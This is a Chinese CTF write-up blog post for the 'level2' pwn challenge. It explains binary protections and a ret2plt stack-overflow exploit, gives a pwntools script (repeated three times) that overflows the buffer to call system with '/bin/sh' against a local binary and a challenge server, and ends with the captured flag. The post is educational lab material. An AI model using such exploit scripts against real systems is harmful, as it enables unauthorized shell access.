[CTF-PWN]攻防世界新手村-level2[wp]

事件起因(无语)

手残博主因在27日从根地址误删了自己两年半配置和使用的kali虚拟机。。。在一步步恢复环境配置的时候,从头到尾刷一遍题,总结思路。

题目分析

level2
开启场景后,服务端会开启对应的端口,并在端口上部署和附件相同的ELF二进制可执行文件,我们要做的就是下载附件并在本地进行反汇编,反编译等操作分析程序漏洞,从而利用漏洞获取题目的flag。

checksec监测

file查看一下文件属性,可以看到文件是linux elf文件,32字节,Inter80386微处理器。
file
checksec的常用命令是:checksec [filename] ,也就是checksec后面加上你的程序;
也可以用gdb插件中的checksec来监测,gdb中直接checksec就可以了,如下:
checksec
checksec可以检查程序保护机制,从而查看题目开启了哪些保护机制,有助于对题目的初步分析。
Arch:程序位数(查看是多少位的程序,比如32或64位),也可以查看是哪个微处理器,比如i386为32位微处理器,amd64为64位微处理器(x86架构的延伸产品,称为x86-64,后改名为AMD64);
RELRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELEO为"Partial RELRO",说明我们对GOT表有写权限。
Stack:栈溢出监测,查看程序是否开启了Canary防护(一种对函数栈的监测保护:还没等到栈溢出,先返回canary word,从而监测栈溢出情况)。
NX :No-eXecute(不可执行),相等于windows的DEP(数据执行保护),就是将攻击者构造的payload和shellcode(一般为系统远程执行命令)所在的内存页标识为不可执行,当攻击代码想要以数据代码伪装成可执行代码时,就会被检测到,从而使CPU抛出异常,从而不执行恶意指令。
PIE:内存地址空间分布随机化(ASLR:address space layout randomization)
checksec
从checksec检测中可以看出

  1. 这是一个32位小端序程序;
  2. 不完全开启RELRO;
  3. 金丝雀没有开启;
  4. NX开启;
  5. 没有开启地址空间随机化;

IDA pro分析

反汇编
在main函数上按F5进入伪代码:
main

分析程序
主函数
可以看到在漏洞函数的下面是一个system函数,这里就是一个典型的plt.got表的查找问题,只要我们通过plt.got表找到system函数的地址,通过栈溢出实现函数跳转,然后再找到/bin/sh的地址,将/bin/sh执行,就可以实现pwn操作。(博主觉得这是最容易理解的解释了,但是可能小白们还是理解不了,所以手残博主画了个图帮助大家理解)
pwn思路
如圈1,先是通过漏洞函数实现缓冲区溢出覆盖ret值实现函数跳转,将ret指向system函数(这里有一个plt.got表的知识,请看手残博主上面画的"call system"那个流程图),system函数的地址寻找流程是:首先让plt表查找got表,让got表查找system函数的位置,但是got表回复plt表没有找到,返回后通过另一个方法实现使got表找到system函数,返回system函数的地址,然后第二次查找时直接通过plt.got就可以得到system函数的地址了,不需要重复这个流程。
漏洞函数:
漏洞点
箭头指向的&buf是一个缓冲区地址,程序可以让我们在这个缓冲区的0x100区间中执行操作,从而使我们可以构造溢出payload。
buf
栈顶
内存地址区间
/bin/sh

去十六进制表中看一下,找到了bin/sh/字符串,查看一下内存地址,打开后成功找到/bin/sh
内存地址

程序的关键是:返回值被覆盖为system函数的地址,使程序跳转到目的函数,然后将/bin/sh/的地址当做参数嵌入system函数中,从而执行shell。我们只要通过read()函数进行缓冲区溢出,将中间的内存覆盖脏数据,查找plt.got表找到system函数的地址,再嵌入shell地址就可以执行指定函数shell。
好了,现在思路清晰,我们来构建我们的exp攻击脚本。

编写exp

  • interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
  • recv(numb = 4096,timeout = default):接收指定字节
  • recvall() : 一直接收知道EOF
  • recvline(keepends = True): 接收一行,keepends为是否保留行尾的\n,默认为Ture
  • recvuntil((delims,drop=False):一直读到delims的pattern出现为止
  • recvrepeat(timeout=default): 持续接收知道EOF或者timeout
  • send(data) :发送数据
  • sendline(data) : 发送一行数据,相当于在数据末尾加\n
    python3(pwntools)
from pwn import *

context(os='linux',arch="x86",log_level="debug")
content=1

elf = ELF("./level2")
system_addr = elf.plt["system"]
system_sh = next(elf.search(b"/bin/sh"))

def main():
	if content == 1:
		peiqi = process("level2")
	else:
		peiqi = remote("220.249.52.133",32381)

	payload = b'a' * (0x88 + 4)
	payload = payload + p32(system_addr)
	payload = payload + b'a' * 4 + p32(system_sh)

	peiqi.recvuntil("Input:\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

攻本地程序

content = 1就是pwn本地:

from pwn import *

context(os='linux',arch="x86",log_level="debug")
content=1

elf = ELF("./level2")
system_addr = elf.plt["system"]
system_sh = next(elf.search(b"/bin/sh"))

def main():
	if content == 1:
		peiqi = process("level2")
	else:
		peiqi = remote("220.249.52.133",32381)

	payload = b'a' * (0x88 + 4)
	payload = payload + p32(system_addr)
	payload = payload + b'a' * 4 + p32(system_sh)

	peiqi.recvuntil("Input:\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

因为你的本地程序并没有flag,所以这里显示cat:没有找到,说明你的exp基本上已经编写成功,现在只要将content修改为0就可以pwn远程了

攻远程服务器

from pwn import *

context(os='linux',arch="x86",log_level="debug")
content=0

elf = ELF("./level2")
system_addr = elf.plt["system"]
system_sh = next(elf.search(b"/bin/sh"))

def main():
	if content == 1:
		peiqi = process("level2")
	else:
		peiqi = remote("220.249.52.133",32381)

	payload = b'a' * (0x88 + 4)
	payload = payload + p32(system_addr)
	payload = payload + b'a' * 4 + p32(system_sh)

	peiqi.recvuntil("Input:\n")
	peiqi.sendline(payload)

	peiqi.interactive()

main()

PWN!
成功pwn到flag:cyberpeace{a40ab285131b34e275dcb878160c449d}

总结

一道很简单的pwn题。

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值